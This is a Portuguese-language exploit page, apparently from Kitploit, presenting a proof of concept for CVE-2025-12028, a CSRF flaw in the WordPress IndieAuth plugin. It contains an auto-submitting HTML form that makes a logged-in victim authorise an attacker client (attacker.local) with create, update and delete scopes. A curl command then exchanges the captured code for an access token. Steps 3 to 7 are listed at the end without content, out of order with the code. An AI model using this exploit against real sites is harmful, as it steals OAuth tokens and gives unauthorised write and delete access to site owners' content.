CVE-2025-12028 — Exploit de prova de conceito para CVE-2025-12028 demonstrando roubo de token OAuth baseado em CSRF no plugin IndieAuth do WordPress, permitindo acesso não autorizado à API com credenciais roubadas. | Kitploit

1) Iniciar um servidor HTTP simples para hospedar a página de prova de conceito

mkdir -p /tmp/attacker && cd /tmp/attacker
php -S 127.0.0.1:8000

2) Criar um arquivo `/tmp/attacker/poc.html` com o seguinte conteúdo

<!doctype html>
<html>
  <body>
    <form id="x" method="post" action="http://localhost/wordpress/wp-login.php?action=indieauth">
      <input name="client_id" value="http://attacker.local/app">
      <input name="redirect_uri" value="http://127.0.0.1:8000/cb">
      <input name="state" value="csrf-12345">
      <input name="response_type" value="code">
      <input name="scope[]" value="create">
      <input name="scope[]" value="update">
      <input name="scope[]" value="delete">
    </form>
    <script>
      document.getElementById('x').submit();
    </script>
  </body>
</html>

curl -sX POST "http://localhost/wordpress/wp-json/indieauth/1.0/token" \
  -d "grant_type=authorization_code" \
  -d "code=PASTE_CODE_FROM_STEP_4" \
  -d "client_id=http://attacker.local/app" \
  -d "redirect_uri=http://127.0.0.1:8000/cb"

CVE-2025-12028

Mais Populares

3) Acionar o PoC em uma sessão de navegador autenticada

4) Observar o redirecionamento de autorização

5) Trocar o código por um token de acesso

6) Observar a resposta do token

7) Verificar o token